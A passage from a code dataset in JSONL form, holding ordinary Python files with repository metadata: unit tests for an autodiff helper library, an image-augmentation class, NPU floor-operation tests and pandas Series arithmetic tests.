"max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/graphs/graph_editor.py", "max_issues_repo_name": "rekhabiswal/sage", "max_issues_repo_head_hexsha": "e8633b09919542a65e7e990c8369fee30c7edefd", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/graphs/graph_editor.py", "max_forks_repo_name": "rekhabiswal/sage", "max_forks_repo_head_hexsha": "e8633b09919542a65e7e990c8369fee30c7edefd", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.773255814, "max_line_length": 293, "alphanum_fraction": 0.5995256917, "include": true, "reason": "import sage,from sage", "num_tokens": 1724, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.11920290950590741, "lm_q1q2_score": 0.05218983494446994}}
{"text": "import numpy as np\r\nimport pandas as pd\r\nimport json\r\nfrom pandas.io.json import json_normalize\r\n\r\n", "meta": {"hexsha": "3cce8464a3761778b1651e2363a389b79c2a968e", "size": 99, "ext": "py", "lang": "Python", "max_stars_repo_path": "Reading Data/lesson-10-artists-nested-biography/main.py", "max_stars_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_stars_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Reading Data/lesson-10-artists-nested-biography/main.py", "max_issues_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_issues_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-01-11T21:04:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-11T21:05:05.000Z", "max_forks_repo_path": "Reading Data/lesson-10-artists-nested-biography/main.py", "max_forks_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_forks_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.5, "max_line_length": 42, "alphanum_fraction": 0.7777777778, "include": true, "reason": "import numpy", "num_tokens": 21, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1112412182933608, "lm_q1q2_score": 0.05214884043041138}}
{"text": "import pytest\nimport numpy as np\nfrom funkyAD.helpers import count_recursive, unpack, nodify, recursive_append\nfrom funkyAD.base import Node\n\n\ndef test_count_recursive_nparray():\n    x = np.array([2,3,1,0])\n    assert count_recursive(x)==4\n\ndef test_count_recursive_list():\n    x = [1,2,3]\n    assert count_recursive(x)==3\n\ndef test_count_recursive_ndarray():\n    x = np.array([[1, 2, 3], [4, 5, 6]], np.int32)\n    assert count_recursive(x)==6\n\ndef test_count_recursive_invalid_input():\n    x = \"text\"\n    with pytest.raises(TypeError):\n        count_recursive(x)\n\ndef test_unpack_1dlist():\n    x = [1,2]\n    assert unpack(x) == [1,2]\n\ndef test_unpack_2darray():\n    x = np.array([[1, 2, 3], [4, 5, 6]], np.int32)\n    assert unpack(x)==[1,2,3,4,5,6]\n\ndef test_unpack_3darray():\n    y = np.array([[[1,2],[3,4]],[[5,6],[7,8]],[[9,10],[11,12]]])\n    assert unpack(y) == [1,2,3,4,5,6,7,8,9,10,11,12]\n\ndef test_unpack_ndlist():\n    x = [[1,2,],[3,4]]\n    assert unpack(x)==[1,2,3,4]\n\ndef test_unpack_invalid_input():\n    with pytest.raises(TypeError):\n        unpack(\"text\")\n\ndef test_nodify_nparray():\n    x = np.array([1,2,3])\n    seed = [1,2,3]\n    assert nodify(x, seed)==[Node(1,1), Node(2,2), Node(3,3)]\n\ndef test_nodify_list():\n    x = [1,2,3]\n    seed = [1,2,3]\n    assert nodify(x, seed)==[Node(1,1), Node(2,2), Node(3,3)]\n\ndef test_nodify_invalid_input():\n    with pytest.raises(TypeError):\n        nodify(3.14)\n\ndef test_nodify_text_input():\n    x = \"test\"\n    seed = [1,0,0]\n    with pytest.raises(TypeError):\n        nodify(x, seed)\n\ndef test_nodify_node_input():\n    x = Node(1,[1,1])\n    seed = [1,0]\n    with pytest.raises(TypeError):\n        nodify(x,seed)\n\ndef test_nodify_ndarray():\n    x=np.array([np.array([1])])\n    seed = [1]\n    assert nodify(x,seed)==[Node(1,1)]\n\ndef test_nodify_nested_list():\n    x=[[1,2],[3,4]]\n    seed = [1,2,3,4]\n    assert nodify(x,seed)==[[Node(1,1), Node(2,2)], [Node(3,3), Node(4,4)]]\n\ndef test_recursive_append():\n    x=Node(1,1)\n    x.parents = [Node(2,1)]\n    trace = []\n    recursive_append(x,trace)\n    assert trace == [Node(1,1),Node(2,1)]\n    \n", "meta": {"hexsha": "da37e34d812fc6bdd08377ff7c0cf7f2dc090093", "size": 2098, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_helpers.py", "max_stars_repo_name": "funkyADers/funkyAD", "max_stars_repo_head_hexsha": "47864d8de1725feda84d9ff74c84bab8dce65601", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-10-23T16:24:41.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-24T00:26:00.000Z", "max_issues_repo_path": "tests/test_helpers.py", "max_issues_repo_name": "funkyADers/cs207-FinalProject", "max_issues_repo_head_hexsha": "47864d8de1725feda84d9ff74c84bab8dce65601", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2019-10-31T17:43:29.000Z", "max_issues_repo_issues_event_max_datetime": "2019-12-10T03:28:58.000Z", "max_forks_repo_path": "tests/test_helpers.py", "max_forks_repo_name": "funkyADers/funkyAD", "max_forks_repo_head_hexsha": "47864d8de1725feda84d9ff74c84bab8dce65601", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.1149425287, "max_line_length": 77, "alphanum_fraction": 0.6048617731, "include": true, "reason": "import numpy", "num_tokens": 725, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262438, "lm_q2_score": 0.11124121240045177, "lm_q1q2_score": 0.05214883766787087}}
{"text": "#Taken from the ECBM4040 assignment #2\r\n\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nimport os\r\n\r\ntry:\r\n    from scipy.ndimage.interpolation import rotate\r\nexcept ModuleNotFoundError:\r\n    os.system('pip install scipy')\r\n    from scipy.ndimage.interpolation import rotate\r\n\r\nclass ImageGenerator(object):\r\n    def __init__(self, x, y):\r\n        \"\"\"\r\n        Initialize an ImageGenerator instance.\r\n        :param x: A Numpy array of input data. It has shape (num_of_samples, height, width, channels).\r\n        :param y: A Numpy vector of labels. It has shape (num_of_samples, ).\r\n        \"\"\"        \r\n        self.x = x\r\n        self.y = y\r\n        self.N = x.shape[0]\r\n        self.is_bright = None\r\n        self.is_horizontal_flip = None\r\n        self.is_vertical_flip = None\r\n        self.is_add_noise = None\r\n        self.translated = None\r\n        self.rotated = None\r\n        self.flipped = None\r\n        self.added = None\r\n        self.bright = None\r\n        self.x_aug = self.x.copy()\r\n        self.y_aug = self.y.copy()\r\n        self.N_aug = self.N\r\n    \r\n    \r\n    def create_aug_data(self):\r\n        '''\r\n        Combine all the data to form a augmented dataset \r\n        '''\r\n        if self.translated:\r\n            self.x_aug = np.vstack((self.x_aug,self.translated[0]))\r\n            self.y_aug = np.hstack((self.y_aug,self.translated[1]))\r\n        if self.rotated:\r\n            self.x_aug = np.vstack((self.x_aug,self.rotated[0]))\r\n            self.y_aug = np.hstack((self.y_aug,self.rotated[1]))\r\n        if self.flipped:\r\n            self.x_aug = np.vstack((self.x_aug,self.flipped[0]))\r\n            self.y_aug = np.hstack((self.y_aug,self.flipped[1]))\r\n        if self.added:\r\n            self.x_aug = np.vstack((self.x_aug,self.added[0]))\r\n            self.y_aug = np.hstack((self.y_aug,self.added[1]))\r\n        if self.bright:\r\n            self.x_aug = np.vstack((self.x_aug,self.bright[0]))\r\n            self.y_aug = np.hstack((self.y_aug,self.bright[1]))\r\n            \r\n        print(\"Size of training data:{}\".format(self.N_aug))\r\n        \r\n    def next_batch_gen(self, batch_size, shuffle=True):\r\n        \"\"\"\r\n        A python generator function that yields a batch of data infinitely.\r\n        :param batch_size: The number of samples to return for each batch.\r\n        :param shuffle: If True, shuffle the entire dataset after every sample has been returned once.\r\n                        If False, the order or data samples stays the same.\r\n        :return: A batch of data with size (batch_size, width, height, channels).\r\n        \"\"\"     \r\n        samples = self.x_aug.shape[0]\r\n        total_batches = samples // batch_size\r\n        batch_count = 0\r\n        x = self.x_aug\r\n        y = self.y_aug\r\n        while True:\r\n            if (batch_count < total_batches):\r\n                batch_count = batch_count + 1\r\n                yield x[(batch_count-1)*batch_size:(batch_count)*batch_size,:,:,:],y[(batch_count-1)*batch_size:(batch_count)*batch_size]\r\n            else:\r\n                if shuffle:\r\n                    shuffler = np.random.permutation(samples)\r\n                    x = x[shuffler]\r\n                    y = y[shuffler]\r\n                batch_count = 0\r\n\r\n\r\n    def show(self, images):\r\n        \"\"\"\r\n        Plot the top 16 images (index 0~15) for visualization.\r\n        :param images: images to be shown\r\n        \"\"\"\r\n        \r\n        fig = plt.figure(figsize=(10, 10))\r\n\r\n        for i in range(16):\r\n            ax = fig.add_subplot(4, 4, i+1)\r\n            ax.imshow(images[i, :].reshape(28, 28), 'gray')\r\n            ax.axis('off')\r\n\r\n    def translate(self, shift_height, shift_width):\r\n        \"\"\"\r\n        Translate self.x by the values given in shift.\r\n        :param shift_height: the number of pixels to shift along height direction. Can be negative.\r\n        :param shift_width: the number of pixels to shift along width direction. Can be negative.\r\n        :return translated: translated dataset\r\n        \"\"\"\r\n\r\n        translated = np.roll(self.x,shift_height,axis = 1)\r\n        translated = np.roll(translated,shift_width,axis = 2)\r\n        self.translated = (translated,self.y.copy())\r\n        self.N_aug += self.N\r\n        return translated\r\n\r\n\r\n    def rotate(self, angle=0.0):\r\n        \"\"\"\r\n        Rotate self.x by the angles (in degree) given.\r\n        :param angle: Rotation angle in degrees.\r\n        :return rotated: rotated dataset\r\n        \"\"\"\r\n\r\n        \r\n        rotated = rotate(self.x,angle,axes = (1,2),reshape = False)\r\n        self.rotated = (rotated,self.y.copy())\r\n        self.N_aug += self.N\r\n        return rotated\r\n\r\n        \r\n\r\n    def flip(self, mode='h'):\r\n        \"\"\"\r\n        Flip self.x according to the mode specified\r\n        :param mode: 'h' or 'v' or 'hv'. 'h' means horizontal and 'v' means vertical.\r\n        :return flipped: flipped dataset\r\n        \"\"\"\r\n        assert mode == 'h' or 'v' or 'hv'\r\n        if mode == 'h':\r\n            flipped = np.flip(self.x.copy(), axis=2)\r\n            self.is_horizontal_flip = not self.is_horizontal_flip\r\n        elif mode == 'v':\r\n            flipped = np.flip(self.x.copy(), axis=1)\r\n            self.is_vertical_flip = not self.is_vertical_flip\r\n        elif mode == 'hv':\r\n            flipped = np.flip(np.flip(self.x.copy(), axis=0), axis=1)\r\n            self.is_horizontal_flip = not self.is_horizontal_flip\r\n            self.is_vertical_flip = not self.is_vertical_flip\r\n        else:\r\n            raise ValueError('Mode should be \\'h\\' or \\'v\\' or \\'hv\\'')\r\n        print('Vertical flip: ', self.is_vertical_flip, 'Horizontal flip: ', self.is_horizontal_flip)\r\n    \r\n        self.flipped = (flipped,self.y.copy())\r\n        self.N_aug += self.N\r\n        return flipped\r\n\r\n    \r\n    def add_noise(self, portion, amplitude):\r\n        \"\"\"\r\n        Add random integer noise to self.x.\r\n        :param portion: The portion of self.x samples to inject noise. If x contains 10000 sample and portion = 0.1,\r\n                        then 1000 samples will be noise-injected.\r\n        :param amplitude: An integer scaling factor of the noise.\r\n        :return added: dataset with noise added\r\n        \"\"\"\r\n        \r\n        if not self.is_add_noise:\r\n            self.is_add_noise = True\r\n        noise = np.random.rand(self.x.shape[1],self.x.shape[2],self.x.shape[3])*amplitude\r\n        samples = self.x.shape[0]\r\n        added = self.x.copy()\r\n        added  = added[0:int(samples*portion),:,:,:] + noise\r\n        self.added = (added,self.y.copy())\r\n        self.N_aug += self.N\r\n        return added\r\n\r\n\r\n    def brightness(self, factor):\r\n        \"\"\"\r\n        Scale the pixel values to increase the brightness\r\n        :param factor: A number greater than or equal to 1 that decides how each pixel in the image will be scaled. If factor is 2, then \r\n                       all pixel values will be doubled.\r\n        :return bright: dataset with increased brightness\r\n        \"\"\"\r\n        assert factor >= 1\r\n        if not self.is_bright:\r\n            self.is_bright = True\r\n        bright = self.x.copy()\r\n        for i in range(bright.shape[0]):\r\n            bright[i, :, :, :] = (bright[i,:,:,:] * factor).astype(int)\r\n            bright[i, :, :, :][bright[i,:,:,:] >= 255] = 255\r\n            \r\n        self.bright = (bright, self.y.copy())\r\n        self.N_aug += self.N\r\n        print(\"Brightness increased by a factor of:\", factor)\r\n        return bright\r\n\r\n      ", "meta": {"hexsha": "643fc72b220a33183addf84f9c36eb892b647d1a", "size": 7423, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/modules/Image_generator.py", "max_stars_repo_name": "aye21874/Spectral-Representations-for-Convolutional-Neural-Networks", "max_stars_repo_head_hexsha": "4a8b94e106eec5a801a0af6c927ed3e1c2b8655d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/modules/Image_generator.py", "max_issues_repo_name": "aye21874/Spectral-Representations-for-Convolutional-Neural-Networks", "max_issues_repo_head_hexsha": "4a8b94e106eec5a801a0af6c927ed3e1c2b8655d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/modules/Image_generator.py", "max_forks_repo_name": "aye21874/Spectral-Representations-for-Convolutional-Neural-Networks", "max_forks_repo_head_hexsha": "4a8b94e106eec5a801a0af6c927ed3e1c2b8655d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-24T09:59:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-24T09:59:51.000Z", "avg_line_length": 38.4611398964, "max_line_length": 138, "alphanum_fraction": 0.5601508824, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1688, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624366, "lm_q2_score": 0.11124119766818046, "lm_q1q2_score": 0.05214883076152015}}
{"text": "# Copyright (c) 2020 Huawei Technologies Co., Ltd\n# Copyright (c) 2019, Facebook CORPORATION. \n# All rights reserved.\n#\n# Licensed under the BSD 3-Clause License  (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://opensource.org/licenses/BSD-3-Clause\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport numpy as np\nfrom common_utils import TestCase, run_tests\nfrom common_device_type import dtypes, instantiate_device_type_tests\nfrom util_test import create_common_tensor\n\nclass TestFloor(TestCase):\n    def cpu_op_exec(self, input):\n        output = torch.floor(input)\n        output = output.numpy()\n        return output\n\n    def npu_op_exec(self, input):\n        output = torch.floor(input)\n        output = output.to(\"cpu\")\n        output = output.numpy()\n        return output\n    \n    def cpu_op_inter_exec(self, input):\n        torch.floor_(input)\n        output = input.numpy()\n        return output\n\n    def npu_op_inter_exec(self, input):\n        torch.floor_(input)\n        output = input.to(\"cpu\")\n        output = output.numpy()\n        return output\n\n    def cpu_op_out_exec(self, input, output):\n        torch.floor(input, out = output)\n        output = output.numpy()\n        return output\n\n    def npu_op_out_exec(self, input, output):\n        torch.floor(input, out = output)\n        output = output.to(\"cpu\")\n        output = output.numpy()\n        return output\n\n    def test_floor_float32_shape_format(self, device):\n        format_list = [0, 3]\n        shape_list = [[256, 1, 1, 1], [1024, 32, 7, 7], [1024, 32, 7], [1024, 32], [1024]]\n        shape_format = [\n            [np.float32, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item, 1, 100)\n            cpu_output = self.cpu_op_exec(cpu_input)\n            npu_output = self.npu_op_exec(npu_input)\n            self.assertRtolEqual(cpu_output, npu_output)\n    \n    def test_floor_inter_float32_shape_format(self, device):\n        format_list = [0, 3]\n        shape_list = [[256, 1, 1, 1], [1024, 32, 7, 7], [1024, 32, 7], [1024, 32], [1024]]\n        shape_format = [\n            [np.float32, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item, 1, 100)\n            cpu_output = self.cpu_op_inter_exec(cpu_input)\n            npu_output = self.npu_op_inter_exec(npu_input)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n    def test_floor_out_float32_shape_format(self, device):\n        shape_format = [\n            [[np.float32, 0, [1024, 32, 7, 7]], [np.float32, 0, [1024, 32, 7, 7]]],\n            [[np.float32, 0, [1024, 32, 7]], [np.float32, 0, [1024, 32]]],\n            [[np.float32, 0, [1024, 32]], [np.float32, 0, [1024, 32]]],\n            [[np.float32, 0, [1024]], [np.float32, 0, [1024, 1]]],\n            [[np.float32, 3, [1024, 32, 7, 7]], [np.float32, 3, [1024, 32, 7, 7]]],\n            [[np.float32, 3, [1024, 32, 7]], [np.float32, 3, [1024, 32]]],\n            [[np.float32, 3, [1024, 32]], [np.float32, 3, [1024, 20]]],\n            [[np.float32, 3, [1024]], [np.float32, 3, [1024]]],\n            ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item[0], 1, 100)\n            cpu_output, npu_output = create_common_tensor(item[1], 1, 100)\n            cpu_output = self.cpu_op_exec(cpu_input)\n            npu_output = self.npu_op_out_exec(npu_input, npu_output)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n    def test_floor_float16_shape_format(self, device):\n        format_list = [0, 3]\n        shape_list = [[256, 1, 1, 1], [1024, 32, 7, 7], [1024, 32, 7], [1024, 32], [1024]]\n        shape_format = [\n            [np.float16, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item, 1, 100)\n            if item[0] == np.float16:\n                cpu_input = cpu_input.to(torch.float32)\n            cpu_output = self.cpu_op_exec(cpu_input)\n            npu_output = self.npu_op_exec(npu_input)\n            if item[0] == np.float16:\n                cpu_output = cpu_output.astype(np.float16)\n            self.assertRtolEqual(cpu_output, npu_output)\n    \n    def test_floor_inter_float16_shape_format(self, device):\n        format_list = [0, 3]\n        shape_list = [[256, 1, 1, 1], [1024, 32, 7, 7], [1024, 32, 7], [1024, 32], [1024]]\n        shape_format = [\n            [np.float16, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item, 1, 100)\n            if item[0] == np.float16:\n                cpu_input = cpu_input.to(torch.float32)\n            cpu_output = self.cpu_op_inter_exec(cpu_input)\n            npu_output = self.npu_op_inter_exec(npu_input)\n            if item[0] == np.float16:\n                cpu_output = cpu_output.astype(np.float16)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n    def test_floor_out_float16_shape_format(self, device):\n        shape_format = [\n            [[np.float16, 0, [1024, 32, 7, 7]], [np.float16, 0, [1024, 32, 7, 7]]],\n            [[np.float16, 0, [1024, 32, 7]], [np.float16, 0, [1024, 32]]],\n            [[np.float16, 0, [1024, 32]], [np.float16, 0, [1024, 32]]],\n            [[np.float16, 0, [1024]], [np.float16, 0, [1024, 1]]],\n            [[np.float16, 3, [1024, 32, 7, 7]], [np.float16, 3, [1024, 32, 7, 7]]],\n            [[np.float16, 3, [1024, 32, 7]], [np.float16, 3, [1024, 32]]],\n            [[np.float16, 3, [1024, 32]], [np.float16, 3, [1024, 20]]],\n            [[np.float16, 3, [1024]], [np.float16, 3, [1024]]],\n            ]\n        for item in shape_format:\n            cpu_input, npu_input = create_common_tensor(item[0], 1, 100)\n            cpu_output, npu_output = create_common_tensor(item[1], 1, 100)\n            if item[0][0] == np.float16:\n                cpu_input = cpu_input.to(torch.float32)\n                cpu_output = cpu_output.to(torch.float32)\n            cpu_output = self.cpu_op_exec(cpu_input)\n            npu_output = self.npu_op_out_exec(npu_input, npu_output)\n            if item[0][0] == np.float16:\n                cpu_output = cpu_output.astype(np.float16)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n\ninstantiate_device_type_tests(TestFloor, globals(), except_for=\"cpu\")\nif __name__ == \"__main__\":\n    run_tests()", "meta": {"hexsha": "fb2f2985aa7dc97f4c64b7825b50e2f1cf1150ed", "size": 6858, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_npu/test_network_ops/test_floor.py", "max_stars_repo_name": "Ascend/pytorch", "max_stars_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-02T03:07:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-02T03:07:35.000Z", "max_issues_repo_path": "test/test_npu/test_network_ops/test_floor.py", "max_issues_repo_name": "Ascend/pytorch", "max_issues_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-12T07:23:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-12T08:28:13.000Z", "max_forks_repo_path": "test/test_npu/test_network_ops/test_floor.py", "max_forks_repo_name": "Ascend/pytorch", "max_forks_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.6815286624, "max_line_length": 90, "alphanum_fraction": 0.5956547098, "include": true, "reason": "import numpy", "num_tokens": 2000, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11596072741941771, "lm_q1q2_score": 0.052111896789462014}}
{"text": "# -*- coding: utf-8 -*-\nfrom datetime import timedelta\nimport operator\n\nimport numpy as np\nimport pytest\n\nimport pandas as pd\nfrom pandas import Series, compat\nfrom pandas.core.indexes.period import IncompatibleFrequency\nimport pandas.util.testing as tm\n\n\ndef _permute(obj):\n    return obj.take(np.random.permutation(len(obj)))\n\n\nclass TestSeriesFlexArithmetic(object):\n    @pytest.mark.parametrize(\n        'ts',\n        [\n            (lambda x: x, lambda x: x * 2, False),\n            (lambda x: x, lambda x: x[::2], False),\n            (lambda x: x, lambda x: 5, True),\n            (lambda x: tm.makeFloatSeries(),\n             lambda x: tm.makeFloatSeries(),\n             True)\n        ])\n    @pytest.mark.parametrize('opname', ['add', 'sub', 'mul', 'floordiv',\n                                        'truediv', 'div', 'pow'])\n    def test_flex_method_equivalence(self, opname, ts):\n        # check that Series.{opname} behaves like Series.__{opname}__,\n        tser = tm.makeTimeSeries().rename('ts')\n\n        series = ts[0](tser)\n        other = ts[1](tser)\n        check_reverse = ts[2]\n\n        if opname == 'div' and compat.PY3:\n            pytest.skip('div test only for Py3')\n\n        op = getattr(Series, opname)\n\n        if op == 'div':\n            alt = operator.truediv\n        else:\n            alt = getattr(operator, opname)\n\n        result = op(series, other)\n        expected = alt(series, other)\n        tm.assert_almost_equal(result, expected)\n        if check_reverse:\n            rop = getattr(Series, \"r\" + opname)\n            result = rop(series, other)\n            expected = alt(other, series)\n            tm.assert_almost_equal(result, expected)\n\n\nclass TestSeriesArithmetic(object):\n    # Some of these may end up in tests/arithmetic, but are not yet sorted\n\n    def test_empty_series_add_sub(self):\n        # GH#13844\n        a = Series(dtype='M8[ns]')\n        b = Series(dtype='m8[ns]')\n        tm.assert_series_equal(a, a + b)\n        tm.assert_series_equal(a, a - b)\n        tm.assert_series_equal(a, b + a)\n        with pytest.raises(TypeError):\n            b - a\n\n    def test_add_series_with_period_index(self):\n        rng = pd.period_range('1/1/2000', '1/1/2010', freq='A')\n        ts = Series(np.random.randn(len(rng)), index=rng)\n\n        result = ts + ts[::2]\n        expected = ts + ts\n        expected[1::2] = np.nan\n        tm.assert_series_equal(result, expected)\n\n        result = ts + _permute(ts[::2])\n        tm.assert_series_equal(result, expected)\n\n        msg = \"Input has different freq=D from PeriodIndex\\\\(freq=A-DEC\\\\)\"\n        with tm.assert_raises_regex(IncompatibleFrequency, msg):\n            ts + ts.asfreq('D', how=\"end\")\n\n    def test_operators_datetimelike(self):\n\n        # ## timedelta64 ###\n        td1 = Series([timedelta(minutes=5, seconds=3)] * 3)\n        td1.iloc[2] = np.nan\n\n        # ## datetime64 ###\n        dt1 = Series([pd.Timestamp('20111230'), pd.Timestamp('20120101'),\n                      pd.Timestamp('20120103')])\n        dt1.iloc[2] = np.nan\n        dt2 = Series([pd.Timestamp('20111231'), pd.Timestamp('20120102'),\n                      pd.Timestamp('20120104')])\n        dt1 - dt2\n        dt2 - dt1\n\n        # ## datetime64 with timetimedelta ###\n        dt1 + td1\n        td1 + dt1\n        dt1 - td1\n        # TODO: Decide if this ought to work.\n        # td1 - dt1\n\n        # ## timetimedelta with datetime64 ###\n        td1 + dt1\n        dt1 + td1\n\n\n# ------------------------------------------------------------------\n# Comparisons\n\nclass TestSeriesFlexComparison(object):\n    def test_comparison_flex_basic(self):\n        left = pd.Series(np.random.randn(10))\n        right = pd.Series(np.random.randn(10))\n\n        tm.assert_series_equal(left.eq(right), left == right)\n        tm.assert_series_equal(left.ne(right), left != right)\n        tm.assert_series_equal(left.le(right), left < right)\n        tm.assert_series_equal(left.lt(right), left <= right)\n        tm.assert_series_equal(left.gt(right), left > right)\n        tm.assert_series_equal(left.ge(right), left >= right)\n\n        # axis\n        for axis in [0, None, 'index']:\n            tm.assert_series_equal(left.eq(right, axis=axis), left == right)\n            tm.assert_series_equal(left.ne(right, axis=axis), left != right)\n            tm.assert_series_equal(left.le(right, axis=axis), left < right)\n            tm.assert_series_equal(left.lt(right, axis=axis), left <= right)\n            tm.assert_series_equal(left.gt(right, axis=axis), left > right)\n            tm.assert_series_equal(left.ge(right, axis=axis), left >= right)\n\n        #\n        msg = 'No axis named 1 for object type'\n        for op in ['eq', 'ne', 'le', 'le', 'gt', 'ge']:\n            with tm.assert_raises_regex(ValueError, msg):\n                getattr(left, op)(right, axis=1)\n\n\nclass TestSeriesComparison(object):\n    def test_comparison_different_length(self):\n        a = Series(['a', 'b', 'c'])\n        b = Series(['b', 'a'])\n        with pytest.raises(ValueError):\n            a < b\n\n        a = Series([1, 2])\n        b = Series([2, 3, 4])\n        with pytest.raises(ValueError):\n            a == b\n\n    @pytest.mark.parametrize('opname', ['eq', 'ne', 'gt', 'lt', 'ge', 'le'])\n    def test_ser_flex_cmp_return_dtypes(self, opname):\n        # GH#15115\n        ser = Series([1, 3, 2], index=range(3))\n        const = 2\n\n        result = getattr(ser, opname)(const).get_dtype_counts()\n        tm.assert_series_equal(result, Series([1], ['bool']))\n\n    @pytest.mark.parametrize('opname', ['eq', 'ne', 'gt', 'lt', 'ge', 'le'])\n    def test_ser_flex_cmp_return_dtypes_empty(self, opname):\n        # GH#15115 empty Series case\n        ser = Series([1, 3, 2], index=range(3))\n        empty = ser.iloc[:0]\n        const = 2\n\n        result = getattr(empty, opname)(const).get_dtype_counts()\n        tm.assert_series_equal(result, Series([1], ['bool']))\n\n    @pytest.mark.parametrize('op', [operator.eq, operator.ne,\n                                    operator.le, operator.lt,\n                                    operator.ge, operator.gt])\n    @pytest.mark.parametrize('names', [(None, None, None),\n                                       ('foo', 'bar', None),\n                                       ('baz', 'baz', 'baz')])\n    def test_ser_cmp_result_names(self, names, op):\n        # datetime64 dtype\n        dti = pd.date_range('1949-06-07 03:00:00',\n                            freq='H', periods=5, name=names[0])\n        ser = Series(dti).rename(names[1])\n        result = op(ser, dti)\n        assert result.name == names[2]\n\n        # datetime64tz dtype\n        dti = dti.tz_localize('US/Central')\n        ser = Series(dti).rename(names[1])\n        result = op(ser, dti)\n        assert result.name == names[2]\n\n        # timedelta64 dtype\n        tdi = dti - dti.shift(1)\n        ser = Series(tdi).rename(names[1])\n        result = op(ser, tdi)\n        assert result.name == names[2]\n\n        # categorical\n        if op in [operator.eq, operator.ne]:\n            # categorical dtype comparisons raise for inequalities\n            cidx = tdi.astype('category')\n            ser = Series(cidx).rename(names[1])\n            result = op(ser, cidx)\n            assert result.name == names[2]\n\n\ndef test_pow_ops_object():\n    # 22922\n    # pow is weird with masking & 1, so testing here\n    a = Series([1, np.nan, 1, np.nan], dtype=object)\n    b = Series([1, np.nan, np.nan, 1], dtype=object)\n    result = a ** b\n    expected = Series(a.values ** b.values, dtype=object)\n    tm.assert_series_equal(result, expected)\n\n    result = b ** 